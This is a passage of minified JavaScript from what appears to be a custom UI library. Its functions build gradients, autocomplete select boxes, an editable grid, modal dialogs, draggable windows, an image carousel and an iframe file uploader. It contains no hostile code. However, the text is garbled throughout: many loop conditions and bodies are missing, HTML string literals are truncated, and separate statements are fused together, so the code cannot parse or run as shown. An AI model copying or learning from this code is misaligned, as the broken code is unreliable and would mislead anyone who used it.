0};if(rp.substring(0,1)==decodeURI('%0a')){rp=rp.substring(1,rp.length)};if(encodeURI(rp.substring(0,1))=='%EF%BB%BF'){rp=rp.substring(1,rp.length);};rp=rp.substring(0,rp.length-3);rp=MrlReplace(MrlReplace(MrlReplace(rp,mamp,mramp),mlt,Lt),mgt,mrgt);a.onMrlResult=rp;a.parentNode.removeChild(a);a.onMrlSubmit();};setTimeout("Mrlgei('"+mif.id+"').onMrlLoad()",100);return mif;};MrlGradient=function(LGradient_Obj,LGradient_mfm,LGradient_mto,LGradient_mdirection){var mfm=LGradient_mfm;var mto=LGradient_mto;if(LGradient_mdirection){var mdir=LGradient_mdirection;}else{if(LGradient_mdirection==0){var mdir=LGradient_mdirection;}else{var mdir=1;};};var ary=[0,1,2,3,4,5,6,7,8,9,'a','b','c','d','e','f'];var aa=new Array();for(var i=0;iparseInt(owd)){;this.style.height=parseInt(oht)+'px';this.style.width=parseInt(c)+'px';this.style.left=(0-((c-owd)/2))+'px';}else{;this.style.height=parseInt(d)+'px';this.style.width=parseInt(owd)+'px';this.style.left='0px';};this.mparent.appendChild(this);};document.body.appendChild(bg);bg.mparent=d;d.style.zIndex=zi;di.style.zIndex=zi;bg.style.zIndex=zi-1;d.id='MrlImgBgD'+parseInt(Math.random()*99999);d.bg=bg;d.onMove=function(){var bg=this.bg;bg.onMrlLoad();var d=this;var ht=window.innerHeight||document.innerHeight||document.offsetHeight||document.documentElement.clientHeight;var wd=window.innerWidth||document.innerWidth||document.offsetWidth||document.documentElement.clientWidth;if(window.pageYOffset){; vpos=window.pageYOffset; lpos=window.pageXOffset;}else if(document.documentElement.scrollTop){; vpos=document.documentElement.scrollTop;; lpos=document.documentElement.scrollLeft;}else if(document.body){ vpos=document.body.scrollTop; lpos=document.body.scrollLeft;};var tp=d.offsetTop;var bt=tp*1+d.offsetHeight;var lf=d.offsetLeft;var ht=d.offsetHeight;var rt=lf*1+d.offsetWidth;if((vpos*1+ht*1)>(tp*1+50)&&vpos<(bt*1-50)){var bb=tp-ht-50;var cc=bt*1+50;var ra=cc-bb;var hk=bg.offsetHeight-d.offsetHeight;MrlAnimat(bg,10,bg.spd,'fs',(0-(((vpos-bb)/ra)*hk)));}else{bg.style.top='0px';};setTimeout("Mrlgei('"+this.id+"').onMove()",bg.spd);};d.onMove();return d.bg;};Mrlsel=function(Lsel_inp,Lsel_tb,Lsel_mxht){var inp=Lsel_inp;var tb=Lsel_tb||0;var mxht=Lsel_mxht||300;var d=Mrlce('div');inp.msel=d;document.body.appendChild(d);d.style.overflowY='scroll';d.style.overflowX='hidden';d.style.display='none';d.id=mgdi('Mrlsel',8);Mrlab4(d,null,null,0,null);d.tb=tb;d.mxht=mxht;d.inp=inp;d.cval=inp.value;var mc=mrgb('#fff');d.mc=mc;d.onscroll=function(){var d=this;if(d.childNodes.length==0){return 0};var cn=d.childNodes[d.childNodes.length-1];var st=d.scrollTop;var ht=(cn.offsetTop*1+cn.offsetHeight*1);if((ht-310)<=(st*1)){d.mlist();};};if((!inp.mfocus)&&inp.onfocus){inp.mfocus=new Array();inp.mfocus[0]=inp.onfocus;inp.onfocus=function(){var inp=this;var chs=inp.mfocus;for(var i=0;i=2){if(!Array.isArray(ops[1])){for(var i=1;i=ops.length){chka=1;break};var dd=opds[i][0];dd.d=d;dd.onmouseover=function(){this.d.msel(this)};dd.onmousedown=function(){this.d.mseled(this)};dd.style.cursor='pointer';dd.style.padding='1px 5px';dd.style.lineHeight='normal';dd.dat=ops[i].slice();dd.innerHTML=ops[i].slice(1).join('
');};d.opdset=ed;if(chka==0){setTimeout('Mrlgei("'+d.id+'").opdsets()',100);};};d.mshow=function(){var d=this;if(d.mloaded==0){d.mload()};d.mloaded=1;d.style.display='block';var tb=d.tb;var inp=d.inp;var ed=d.ed;var ctp=inp.offsetTop;var clf=inp.offsetLeft;var cht=inp.offsetHeight;var cwd=inp.offsetWidth;var tp=ctp*1+cht*1;var lf=clf;var ht=0;var wd=cwd*1+20*1;if(!tb){Mrlab4(d,tp,lf,0,wd);}else{Mrlab4(d,ctp,lf,0,wd);};var p=Mrlgp(inp);p.appendChild(d);d.mlist();d.onMrlAnimatEnd=function(){};};d.msel=function(msel_obj){var d=this;var mc=d.mc;var obj=msel_obj;d.csel.style.backgroundColor='transparent';d.csel.style.color='inherit';d.csel=obj;d.csel.style.backgroundColor=d.mc[80];d.csel.style.color=d.mc[0];};d.mseled=function(mseled_obj){var d=this;var inp=d.inp;var obj=mseled_obj;inp.onMrlResult=obj.dat.slice();if(obj.dat[0]!=''){inp.value=obj.dat[1];};if(inp.onchange){inp.onchange()};if(inp.onMrlSubmit){inp.onMrlSubmit()};};d.mhide=function(){var d=this;var tb=d.tb;var inp=d.inp;var ctp=inp.offsetTop;var cht=inp.offsetHeight;if(tb){MrlAnimat(d,5,800,'fs',ctp*1+1*1,null,1);}else{MrlAnimat(d,5,800,'fs',ctp*1+cht*1+1*1,null,1);};d.onMrlAnimatEnd=function(){var d=this;d.style.display='none';d.onMrlAnimatEnd=function(){};};};d.msort=function(){var d=this;var inp=d.inp;var tb=d.tb;var mxht=d.mxht;var cmxht=mxht;var stp=d.stp;var opds=d.opds;var ops=d.ops;d.cop=0;var mval=inp.value.toString().toUpperCase();var opi=ops.slice().map(function(r){return r.slice(1)});var sop=new Array();var qq=0;for(var i=0;i([^<>])+<\/span>/ig,'').replace(/<([^<>])+>/ig,'').indexOf(mval)!=(0-1)){if(!opds[i][0].dat&&mval!==''){qq++;if(qq<=stp*20){var dd=opds[i][0];dd.d=d;dd.onmouseover=function(){this.d.msel(this)};dd.onmousedown=function(){this.d.mseled(this)};dd.style.cursor='pointer';dd.style.padding='1px 5px';dd.style.lineHeight='normal';dd.dat=ops[i].slice();dd.innerHTML=ops[i].slice(1).join('
');};};sop.push(opds[i][0]);};};if(sop.length==0){sop=[opds[0][0]]};if(d.csel){d.csel.style.backgroundColor='transparent';d.csel.style.color='inherit';};d.csel=sop[0];d.csel.style.backgroundColor=d.mc[80];d.csel.style.color=d.mc[0];d.sop=sop;d.mlist();};d.mlist=function(){var d=this;var inp=d.inp;var tb=d.tb;var mxht=d.mxht;var cmxht=mxht;var sop=d.sop;var cop=d.cop;var stp=d.stp;for(var i=cop;i<(cop*1+stp*1);i++){if(i>=sop.length){break};d.appendChild(sop[i]);};d.cop=(cop*1+stp*1);if(d.childNodes.length>=1){var obj=d.childNodes[d.childNodes.length-1];var objht=obj.offsetHeight*1+obj.offsetTop*1;var cmxht=(((objht*1)<(mxht*1))?objht:mxht);};if(tb){var ctp=inp.offsetTop;MrlAnimat(d,20,500,'fs',ctp-cmxht,null,cmxht);}else{MrlAnimat(d,20,500,'fs',null,null,cmxht);};};d.mloaded=0;return d;};MrlSelectBox=function(LSelectBox_obj,LSelectBox_ary,LSelectBox_zi,LSelectBox_typ){if(!LSelectBox_obj){return 0};if(!LSelectBox_ary){return 0};var inp=LSelectBox_obj;var ops=LSelectBox_ary;var nops=new Array();for(var i=0;i=ops.length){if(sel.mshowsta==1){sel.msort(sel.inp.value);};if(sel.ld.parentNode){sel.ld.parentNode.removeChild(sel.ld)};return 0};if(i>=(cc*1+19*1)){break};};clearTimeout(sel.mtimo);sel.mtimo=setTimeout('Mrlgei("'+sel.id+'").mcc()',10);};var ld=Mrlce('div');ld.style.position='relative';ld.style.textAlign='center';ld.style.padding='5px';var im=Mrlce('img');im.src='/MRL/img/loading.gif';im.style.height='30px';ld.appendChild(im);sel.appendChild(ld);sel.ld=ld;sel.onscroll=function(){var sel=this;if(sel.childNodes.length==0){return 0};var obj=sel.childNodes[sel.childNodes.length-1];var ht=obj.offsetTop*1+obj.offsetHeight*1;if((ht-300)<=Math.round(sel.scrollTop*1)){sel.mced=sel.mced*1+sel.mdefmced*1;if(sel.onMrlAnimatEnd){if(sel.onMrlAnimatEnd.toString().length<30){sel.msort(sel.inp.value);};};};};sel.msort=function(msort_key){var ky=msort_key||'';var ky=ky+'';var uky=ky.toUpperCase();var sel=this;var ops=sel.opps;var dat=sel.dat;var vsc=0;if(ky==''){for(var i=0;i=sel.mced){if(ops[i].parentNode){sel.removeChild(ops[i])};}else{sel.appendChild(ops[i]);if(i==0){var sb=ops[i]};};};}else{for(var i=0;i=sel.mced){if(ops[i].parentNode){sel.removeChild(ops[i])};}else{if(tbd=='INLINE-BLOCK'){sel.appendChild(ops[i]);if(vsc==1){var sb=ops[i]};}else{if(ops[i].parentNode){sel.removeChild(ops[i])};};};};};if(sel.pobj){if(!sel.pobj.parentNode){if(!sb){return 0;};sel.mover(sb);};if(sel.childNodes.length==0){return 0};var op=sel.childNodes[sel.childNodes.length-1];var ht=op.offsetTop*1+op.offsetHeight*1;if(ht>300){ht=300};if((sel.pobj.offsetTop*1+sel.pobj.offsetHeight*1)>(sel.scrollTop*1+300*1)){MrlAnimat(sel,2,500,'fs',null,null,ht,null,null,null,sel.pobj.offsetTop*1+sel.pobj.offsetHeight*2-300*1);}else{MrlAnimat(sel,2,500,'fs',null,null,ht,null,null,null,sel.pobj.offsetTop*1);};};sel.onMrlAnimatEnd=function(){};};sel.msel=function(){var sel=this;var inp=sel.inp;var obj=sel.pobj;if(obj.parentNode){inp.value=obj.mary[0];inp.onMrlResult=obj.mary.slice();}else{inp.onMrlResult=null;};inp.onblur();inp.focus();if(inp.onchange){inp.onchange()};if(inp.onMrlSubmit){inp.onMrlSubmit()};};sel.mover=function(obj){var sel=this;if(sel.pobj){var pobj=sel.pobj;pobj.style.backgroundColor='#fff';pobj.style.color=sel.mft[2];};sel.pobj=obj;obj.style.backgroundColor='#555';obj.style.color='#fff';};sel.mshow=function(mshow_a){var sel=this;var inp=sel.inp;var p=inp.parentNode;for(var i=0;p!=document.body;i=0){var pt=p.tagName;pt+='';pt=pt.toUpperCase();if(pt=='DIV'||pt== 'BUTTON'||pt=='SPAN'){break};p=p.parentNode;};Mrlab4(sel,(inp.offsetTop*1+inp.offsetHeight*1),inp.offsetLeft*1,null,(inp.offsetWidth*1+20*1-4));sel.mft=[(inp.style.fontFamily||'verdana'),inp.style.fontSize||'12px',inp.style.fontColor||'#555'];Mrlft(sel,sel.mft[0],sel.mft[1],sel.mft[2]);p.appendChild(sel);sel.style.display='block';if(!mshow_a){sel.msort(inp.value);}else{sel.msort_mshow_a=1;sel.msort('');sel.msort_mshow_a=0;};if(sel.childNodes.length==0){sel.msort('');};if(sel.childNodes.length==0){return 0};sel.mshowsta=1;var op=sel.childNodes[sel.childNodes.length-1];var ht=op.offsetTop*1+op.offsetHeight*1;if(ht>300){ht=300};MrlAnimat(sel,2,500,'fs',null,null,ht);sel.onMrlAnimatEnd=function(){};};sel.mblur=function(){var sel=this;var inp=sel;MrlAnimat(sel,2,500,'fs',null,null,1);sel.onMrlAnimatEnd=function(){this.style.display='none'};sel.mshowsta=0;};sel.mshowsta=0;var monfocus="inp.select();inp.msel.mshow(1)";var monblur="inp.msel.mblur()";var monkeyup="e=e||window.event;var kc=e.which||e.keyCode;if(kc==13){return 1};if(kc==9){return 1};var inp=this;var sel=inp.msel;inp.msel.mced=inp.msel.mdefmced;sel.msort(inp.value)";var monkeydown="e=e||window.event;var kc=e.which||e.keyCode;var inp=this;if(inp.msel){if(inp.msel.style.display.toString().toUpperCase()=='BLOCK'){var sel=inp.msel;if(kc==38){if(sel.pobj.previousSibling.parentNode){sel.mover(sel.pobj.previousSibling)}}else if(kc==40){if(sel.pobj.nextSibling.parentNode){sel.mover(sel.pobj.nextSibling);}}else if(kc==13||kc==9){if(sel.childNodes.length==0){inp.onblur();return 0};sel.pobj.onmousedown();inp.onblur()};}else{if(kc==13){inp.onfocus();};};}else{if(kc==13){inp.onfocus();};};";var eary=[['onfocus',monfocus],['onblur',monblur],['onkeyup',monkeyup],['onkeydown',monkeydown]];for(var ii=0;iimd||d<=0){return false;};return nda.join('-');};MrlAutoTime=function(LAutoTime_txt,LAutoTime_dig){var tt=LAutoTime_txt.toString();var tt=tt.toString().replace(/\./g,':').toString();var ans=tt.toString().split(':');if(ans.length==1){var tt=tt.toString().substring(0,2)+':'+tt.toString().substring(2,4)+':'+tt.toString().substring(4,6)+':'+tt.toString().substring(6);var ans=tt.toString().split(':');};for(var i=0;i<4;i++){ans[i]=((ans[i]===undefined)?'0':ans[i]);ans[i]=((ans[i]==='')?'0':ans[i]);ans[i]=(isNaN(ans[i].toString()*1)?'0':ans[i]);};var ary=[24,60,60,1000];var arydg=[2,2,2,4];for(var i=0;i<4;i++){var ctt=ans[i];var mto=ary[i];var mpa=parseInt(ctt/mto);var ctt=ctt%mto;for(var q=(i-1);q>=0;q--){ans[q]=ans[q]*1+mpa*1;var cto=ary[q];var mpa=parseInt(ans[q]/cto);ans[q]=mfillzeros(ans[q]%cto,arydg[q]);};ans[i]=mfillzeros(ctt,arydg[i]);};if((tt.indexOf('24:00')==0||tt.indexOf('2400')==0)&&ans[0]=='00'){ans[0]='24';};return ans.slice(0,LAutoTime_dig).join(':');};MrlGridForElder=function(LGridForElder_gr){var gr=LGridForElder_gr;var mgr=Mrlce('div');var dat=gr.getData();var hd=gr.hd;var ta=gr.ta;mgr.innerHTML='
';var ty=mgr.getElementsByTagName('input')[0].parentNode.parentNode.parentNode;ty.removeChild(ty.childNodes[0]);var tr=Mrlce('tr');ty.appendChild(tr);for(var q=0;q2){var td=Mrlce('td');tr.appendChild(td);td.style.width=hd[q][1]+'px';td.style.border='solid 1px #ddd';td.setAttribute('align',ta[q]);td.setAttribute('vAlign','bottom');td.innerHTML=hd[q][0];};};for(var i=0;i2){var td=Mrlce('td');td.style.width=hd[q][1]+'px';td.style.border='solid 1px #ddd';td.setAttribute('align',ta[q]);td.setAttribute('vAlign','top');td.mgr=mgr;tr.appendChild(td);td.ondblclick=function(){var td=this;var mgr=td.mgr;if(mgr.gr.editAry[td.c]=='N'){return 0};if(mgr.gr.edYN=='N'){return 0};var tx=mgr.tx;if(tx.td){tx.td.innerHTML=(tx.td.mval.indexOf(decodeURI('%0a'))==(0-1))?tx.td.mval.replace(/\n/g,'').replace(/\r/g,'
'):tx.td.mval.replace(/\n/g,'
').replace(/\r/g,'');};tx.style.height=td.offsetHeight+'px';tx.style.width=td.offsetWidth+'px';tx.value=this.innerHTML.replace(/\/g,decodeURI('%0d'));tx.ovalue=td.innerHTML;tx.td=td;td.innerHTML='';tx.style.display='block';tx.setAttribute('maxLength',mgr.gr.mml[td.c]);td.appendChild(tx);tx.style.textAlign=mgr.gr.ta[td.c];tx.select();};td.r=i;td.c=q;td.innerHTML=dat[i][q];td.mval=dat[i][q];};};};var tx=Mrlce('textarea');mgr.tx=tx;tx.style.position='relative';tx.style.display='none';tx.mgr=mgr;tx.mct=1;tx.onkeydown=function(e){var tx=this;var mgr=tx.mgr;var txt=mgr.txt;e=e||window.event;var kc=e.which||e.keyCode;if(kc==27){tx.value=tx.ovalue;txt.select();return false;}else if(kc==17){tx.mct=2;return false;}else if(kc==13&&tx.mct==2){txt.select();return false;};};tx.onblur=function(){var tx=this;var mgr=tx.mgr;if(!tx.td){return 0};var td=tx.td;tx.mval=tx.value;td.mval=(tx.mval.indexOf(decodeURI('%0a'))==(0-1))?tx.mval.replace(/\n/g,'').replace(/\r/g,'
'):tx.mval.replace(/\n/g,'
').replace(/\r/g,'');td.innerHTML=td.mval;tx.style.display='none';mgr.dat[td.r][td.c]=td.mval;mgr.gr.updateData(mgr.dat);};tx.onfocus=function(){var tx=this;tx.mct=1;};tx.onkeyup=function(e){var tx=this;var mgr=tx.mgr;tx.mval=tx.value;if(tx.td){tx.td.mval=(tx.mval.indexOf(decodeURI('%0a'))==(0-1))?tx.mval.replace(/\n/g,'').replace(/\r/g,'
'):tx.mval.replace(/\n/g,'
').replace(/\r/g,'');};e=e||window.event;var kc=e.which||e.keyCode;if(kc==17){tx.mct=1;return false;};};mgr.appendChild(tx);var txt=Mrlce('input');mgr.appendChild(txt);Mrlab4(txt,0,-2000,20,100);txt.style.visible='hidden';mgr.txt=txt;mgr.gr=gr;var ndat=new Array();for(var i=0;i
";var bgd=Mrlce('div');Mrlab4(bgd,0,0);bgd.style.height='100%';bgd.style.width='100%';if(bgc[100]=='#ffffff'){dl='l';bgd.style.opacity='0.8';bgd.style.filter='alpha(opacity=80)';bgd.style.backgroundColor='#fff';}else if(bgc[100]=='#000000'){dl='d';bgd.style.opacity='0.5';bgd.style.filter='alpha(opacity=50)';bgd.style.backgroundColor='#000';};tm.appendChild(bgd);tm.appendChild(tm.getElementsByTagName('center')[0]);var ty=tm.getElementsByTagName('input')[0].parentNode;ty.removeChild(ty.childNodes[0]);var al=Mrlce('div');al.style.position='relative';al.style.height='auto';al.style.width='auto';al.style.border='solid 3px '+bgc[90];al.style.backgroundColor=bg;al.style.borderRadius='8px';al.style.padding='8px 15px 8px 15px';var a=Mrlce('div');a.style.position='relative';a.style.textAlign='left';a.innerHTML=''+tle+'';a.style.whiteSpace='nowrap';a.style.width='100%';a.style.color=bgc[99];Mrlft(a,'verdana',Math.round(fz*1.1));al.appendChild(a);var a=Mrlce('div');a.style.position='relative';a.style.textAlign='left';a.innerHTML=txt;a.style.whiteSpace='nowrap';a.style.width='100%';a.style.paddingTop='10px';a.style.color=bgc[99];Mrlft(a,'verdana',fz);al.appendChild(a);var btns=Mrlce('div');btns.style.position='relative';btns.style.paddingTop='10px';btns.style.whiteSpace='nowrap';al.appendChild(btns);document.body.appendChild(tm);var inp=Mrlce('input');inp.readOnly=true;Mrlab4(inp,0,-200,18,100);tm.appendChild(inp);inp.typ=typ;inp.onkeydown=function(e){e=e||window.event;var kc=e.which||e.keyCode;if(kc==13){if(this.btnary.length>0){this.btnary[0][2].onclick();}else{this.tm.mmblur();};}else if(kc==27){if(this.btnary.length>0){this.btnary[this.btnary.length-1][2].onclick();}else{this.tm.mmblur();};};};inp.tm=tm;inp.focus();if(typ==1){inp.onblur=function(){this.tm.mmblur()};var btnary=new Array();}else if(typ==2){var btnary=[['Close','C']];}else if(typ==3){var btnary=[['Yes','Y'],['No','N']];}else if(typ==4){var btnary=[['Yes','Y'],['No','N'],['Cancel','C']];}else{var btnary=[['Close','C']];};for(var i=0;i';var lhc=Mrlmid();var im=Mrlce('img');im.src='/MRL/img/loading.gif';lhc.td.appendChild(im);d.style.overflow='hidden';d.appendChild(lhc);lhc.style.position='absolute';lhc.childNodes[0].style.backgroundColor='#fff';if(Mrlie9()){lhc.childNodes[0].style.filter='alhpa(opacity=90)';}else{lhc.childNodes[0].style.opacity='0.9';};d.lhc=lhc;d.mmar=grouppic_mar?grouppic_mar:0;var dd=Mrlce('div');d.getElementsByTagName('center')[0].appendChild(dd);d.ims=ims;d.dd=dd;d.mcd=ims.length;d.rh=rh;d.mrh=mrh;d.oncal=function(){var d=this;d.mcd--;var ims=d.ims;var rh=d.rh;var mrh=d.mrh;var ct=d.getElementsByTagName('center')[0];if(d.mcd==0){MrlAnimat(d.lhc,2,800,'sf',null,null,null,null,0);d.lhc.onMrlAnimatEnd=function(){this.mblur()};ct.removeChild(d.dd);var mwd=d.offsetWidth;var ht=(parseInt(Math.random()*mrh)+rh*1);var dd=Mrlce('div');dd.style.position='relative';dd.style.height=ht+'px';dd.style.width=(mwd*10)+'px';dd.style.textAlign='left';dd.style.marginBottom=d.mmar+'px';ct.appendChild(dd);for(var i=0;i=mwd){im.style.marginRight='0px';var bst=99999;var tims=dd.getElementsByTagName('img');for(var m=0;m-10){bst=m};};for(var q=0;q";var tb=mf.getElementsByTagName('table')[0];tb.style.paddingBottom='10px';tb.mdrag=mf;var ty=mf.getElementsByTagName('input')[0].parentNode.parentNode.parentNode;ty.mdrag=mf;for(var i=0;ty.childNodes.length!=0;i=0){ty.removeChild(ty.childNodes[0])};var tr=Mrlce('tr');var td=Mrlce('td');tr.appendChild(td);td.style.height=(sz*1+10*1)+'px';td.setAttribute('vAlign','top');tr.mdrag=mf;td.mdrag=mf;ty.appendChild(tr);Mrlft(mf,'verdana',sz-5,'#000');var tit=Mrlce('div');td.appendChild(tit);tit.mf=mf;mf.tit=tit;Mrlab4(tit,5,10,sz);tit.style.paddingRight=(sz*1+10*1)+'px';tit.style.zIndex='-1';mf.mtit=tt;var im=Mrlce('img');var ic=LForm_ico?LForm_ico:'http://www.mrlsystem.com/MRL/img/MRL_logo_l.png';Mrlab4(im,null,null,sz,sz);im.src=ic;im.style.zIndex='-1';mf.mico=im;var mtt=Mrlce('div');Mrlab4(mtt,null,sz*1+10*1,sz);mtt.style.position='relative';tit.mtt=mtt;mtt.innerHTML=tt;tit.appendChild(im);tit.appendChild(mtt);tit.style.overflow='hidden';tit.style.display='block';tit.mdrag=mf;var th=Mrlce('div');mf.th=th;th.mf=mf;td.appendChild(th);Mrlab4(th,5,null,sz);th.style.right='10px';th.style.overflow='hidden';th.msbtns=function(){var th=this;var btns=th.btns;for(var i=0;i=mf.mi*1)?(p.mzIndexAry[i]-1):(p.mzIndexAry[i]));};};p.mzIndexAry=mzIndexAry.slice();var nfmls=new Array();for(var i=0;iwd){lf=0;tp=tp-(sz*1+2*1+10*1);lf=2};MrlAnimat(fmls[i],5,500,'fs',tp,lf,sz*1+10*1,250);chk=1;};};if(chk==0){tp=ht};return tp;};mf.mclose=function(){mf.th.mcls()};mf.mmin=function(){mf.th.mmin()};mf.mmid=function(){mf.th.mmid()};mf.mmax=function(){mf.th.mmax()};mf.msetrel=function(){mf.th.msetrel()};mf.mdrop=function(){var mf=this;mf.style.boxShadow='rgba(0,0,0,0.35) 0px 2px 15px 0px';if(mf.mftyp==1){th.msbtns();th.btns[1][2].style.display='none';mf.mftyp=0;}else if(mf.mftyp==2){th.msbtns();th.btns[1][2].style.display='none';if(mf.mamid){if(mf.mamid()){return 0}};mf.mftyp=0;};if(mf.mftyp!=3){mf.marrmin()};mf.mpos();};mf.mpick=function(){var mf=this;mf.style.boxShadow='rgba(0,0,0,0.35) 0px 4px 20px 0px';if(mf.mbmid){if(mf.mbmid()){return 0}};mf.mzIndex();};mf.onclick=function(){var mf=this;mf.mzIndex();};mf.mzIndex=function(){var mf=this;var p=mf.mparent;var fmls=p.mfmls;var mzIndexAry=new Array();for(var q=0;q=48&&kc<=57)||(kc>=96&&kc<=105))&&!e.shiftKey)||kc==36||kc==35||kc==46||kc==190||kc==110||kc==8||kc==9||kc==37||kc==38||kc==39||kc==40){if(kc==190||kc==110){return false}}else{return false}};inp.onkeyup=function(e){e=e||window.event;var kc=e.which||e.keyCode};}else{inp.onkeydown=function(e){e=e||window.event;var kc=e.which||e.keyCode;if((((kc>=48&&kc<=57)||(kc>=96&&kc<=105))&&!e.shiftKey)||kc==36||kc==35||kc==46||kc==190||kc==110||kc==8||kc==9||kc==37||kc==38||kc==39||kc==40){if(((kc==190||kc==110)&&this.value.indexOf('.')!=-1)||e.shiftKey){return false}}else{return false}};inp.onkeyup=function(e){e=e||window.event;var kc=e.which||e.keyCode};};inp.dps=dps;inp.onblur=function(){var inp=this;inp.value=Mrldp(inp.value,inp.dps);};}else if(typ=='BUTTON'){var inp=Mrlce('button');inp.innerHTML=btns[i][0];inp.style.marginLeft='5px';inp.style.marginRight='5px';var mc=mrgb('#000');MrlGradient(inp,mc[10]+'ff',mc[50]+'ff');inp.style.boxShadow='rgba(0,0,0,0.35) 0px 4px 10px 0px';Mrlft(inp,'verdana',12,'#fff');eval("inp.onclick=function(){"+btns[i][3]+"}");eval("inp.onblur=function(){"+btns[i][4]+"}");inp.style.cursor='pointer';}else if(typ=='SELECT'){var lbl=Mrlce('label');lbl.innerHTML=btns[i][0];if(btns[i][0]==''){lbl.style.padding='0px';lbl.style.margin='0px';}else{lbl.style.padding='0px 5px 0px 5px';lbl.style.marginTop='3px';lbl.style.marginBottom='3px';};dd.appendChild(lbl);inp.value=btns[i][8];inp.style.zIndex='300';eval("inp.onchange=function(){"+btns[i][2]+";var inp=this;var inpa=inp.d.btns[inp.mi][6][0];var inpb=inp.d.btns[inp.mi][6][1];inpa.value=inp.value;inpb.value=inp.value}");eval("inp.onMrlSubmit=function(){"+btns[i][2]+";var inp=this;var inpa=inp.d.btns[inp.mi][6][0];var inpb=inp.d.btns[inp.mi][6][1];inpa.value=inp.value;inpb.value=inp.value}");eval("inp.onclick=function(){"+btns[i][3]+"}");eval("inp.onblur=function(){"+btns[i][4]+"}");var ops=btns[i][5].slice();for(var qq=0;qq=img.length;i=0){cur=cur*1-img.length*1};for(var i=0;cur<0;i=0){cur=cur*1+img.length*1};var cur=(img.length*3+cur*1);var ima=imgs[cur][1];if(num>0){var b=1}else{var b=(0-1)};var lcur=cur-num;var im=imgs[lcur][1];if(Mrlie9()){im.style.filter='alpha(opacity=100)'}else{im.style.opacity='1'};im.c.style.top=(0-im.c.offsetHeight)+'px';var tm=1000;MrlAnimat(ima,2,tm,'fs',null,null,null,null,100);MrlAnimat(im,2,tm,'fs',null,null,null,null,30);if(d.mcur!=lcur){d.dd.scrollLeft=im.offsetLeft-50};MrlAnimat(d.dd,2,tm,'fs',null,null,null,null,null,null,null,ima.offsetLeft*1-50*1);MrlAnimat(d.btnr,2,tm,'fs',null,4*1+ima.offsetWidth*1+50*1);MrlAnimat(ima.c,2,tm,'fs',(0-ima.c.offsetHeight*1));MrlAnimat(im.c,2,tm,'fs',0);d.mcur=cur;};var btnl=Mrlce('div');Mrlab4(btnl,parseInt((ht-56)/2),5,56,41);btnl.style.overflow='hidden';var im=Mrlce('img');im.src='/MRL/img/film_arrows.png';im.d=d;im.style.cursor='pointer';im.onclick=function(){this.d.move((0-1))};Mrlab4(im,0,0,56,82);btnl.appendChild(im);d.appendChild(btnl);d.btnl=btnl;var btnr=Mrlce('div');Mrlab4(btnr,parseInt((ht-56)/2),1000,56,41);btnr.style.overflow='hidden';var im=Mrlce('img');im.src='/MRL/img/film_arrows.png';im.style.cursor='pointer';im.d=d;im.onclick=function(){this.d.move(1)};Mrlab4(im,0,0-41,56,82);btnr.appendChild(im);d.appendChild(btnr);d.btnr=btnr;d.mloop();return d;};mupfile=function(){var d=Mrlce('div');var mif=Mrlce('iframe');d.appendChild(mif);mif.style.border='none';mif.style.position='relative';mif.style.height='100%';mif.style.width='100%';mif.src='/MRL/upfile.php?r='+parseInt(Math.random()*99999);d.msubmit=function(){var d=this;setTimeout('Mrlgei("'+d.id+'").mupload()',500);};d.mputfunc=function(){var d=this;if(!d.mif.contentWindow){setTimeout('Mrlgei("'+d.id+'").mputfunc()',100);return 0};if(!d.mif.contentWindow.document){setTimeout('Mrlgei("'+d.id+'").mputfunc()',100);return 0};if(!d.mif.contentWindow.document.getElementsByTagName('input')){setTimeout('Mrlgei("'+d.id+'").mputfunc()',100);return 0};if(d.mif.contentWindow.document.getElementsByTagName('input').length!=1){setTimeout('Mrlgei("'+d.id+'").mputfunc()',100);return 0};d.mif.contentWindow.document.getElementById('mimg').dd=d;d.mif.contentWindow.document.getElementById('mimg').ddd=d.mif.contentWindow.document.getElementById('mform');d.mif.contentWindow.document.getElementById('MrlResult').value='';d.mif.contentWindow.document.getElementById('mimg').onchange=function(){this.dd.msubmit();this.ddd.submit();};};d.mupload=function(){var d=this;var mif=d.mif;if(!d.mif.contentWindow){setTimeout('Mrlgei("'+d.id+'").mupload()',100);return 0};if(!d.mif.contentWindow.document){setTimeout('Mrlgei("'+d.id+'").mupload()',100);return 0};if(!d.mif.contentWindow.document.getElementsByTagName('input')){setTimeout('Mrlgei("'+d.id+'").mupload()',100);return 0};if(d.mif.contentWindow.document.getElementsByTagName('input').length!=1){setTimeout('Mrlgei("'+d.id+'").mupload()',100);return 0};var rep=d.mif.contentWindow.document.getElementById('MrlResult').value;if(rep.indexOf(decodeURI('%07')+decodeURI('%01')+decodeURI('%03'))==(0-1)){setTimeout('Mrlgei("'+d.id+'").mupload()',100);return 0};rep=rep.substring(0,rep.indexOf(decodeURI('%07')+decodeURI('%01')+decodeURI('%03')));d.mif.contentWindow.document.getElementById('MrlResult').value='';d.onMrlResult=rep;d.onMrlSubmit();setTimeout('Mrlgei("'+d.id+'").mputfunc()',500);};d.onMrlSubmit=function(){var d=this;alert(this.onMrlResult)};d.mload=function(){var d=this;var mif=d.mif;if(!d.mif.contentWindow){setTimeout('Mrlgei("'+d.id+'").mload()',100);return 0};if(!d.mif.contentWindow.document){setTimeout('Mrlgei("'+d.id+'").mload()',100);return 0};if(!d.mif.contentWindow.document.getElementsByTagName('input')){setTimeout('Mrlgei("'+d.id+'").mload()',100);return 0};if(d.mif.contentWindow.document.getElementsByTagName('input').length!=1){setTimeout('Mrlgei("'+d.id+'").mload()',100);return 0};setTimeout('Mrlgei("'+d.id+'").mputfunc()',500);};d.mif=mif;var nid='mupfile'+parseInt(Math.random()*99999);for(var i=0;Mrlgei(nid);i=0){var nid='mupfile'+parseInt(Math.random()*99999)};d.id=nid;setTimeout('Mrlgei("'+d.id+'").mload()',0);document.body.appendChild(d);return d;};anical=function(anical_spd,anical_len,anical_fs,anical_to){var FS=anical_fs||'fs';FS=FS.toUpperCase();var Tms=anical_len||100;var Spd=anical_spd||1;var mto=anical_to||100;if(FS=='FSF'){var TanT=90;var TanB=270;}else if(FS=='SF'){var TanT=0;var TanB=90;}else if(FS=='FS'){var TanT=90;var TanB=180;}else if(FS=='SFS'){var TanT=0;var TanB=180;}else if(FS=='S'){var TanT=90;var TanB=91;}else if(FS=='F'){var TanT=90;var TanB=91;}else{FS='FS';var TanT=90;var TanB=180;};var TanM=(TanB-TanT);var TanTtl=0;var DicTan=new Array();var LjTan=0;for(var 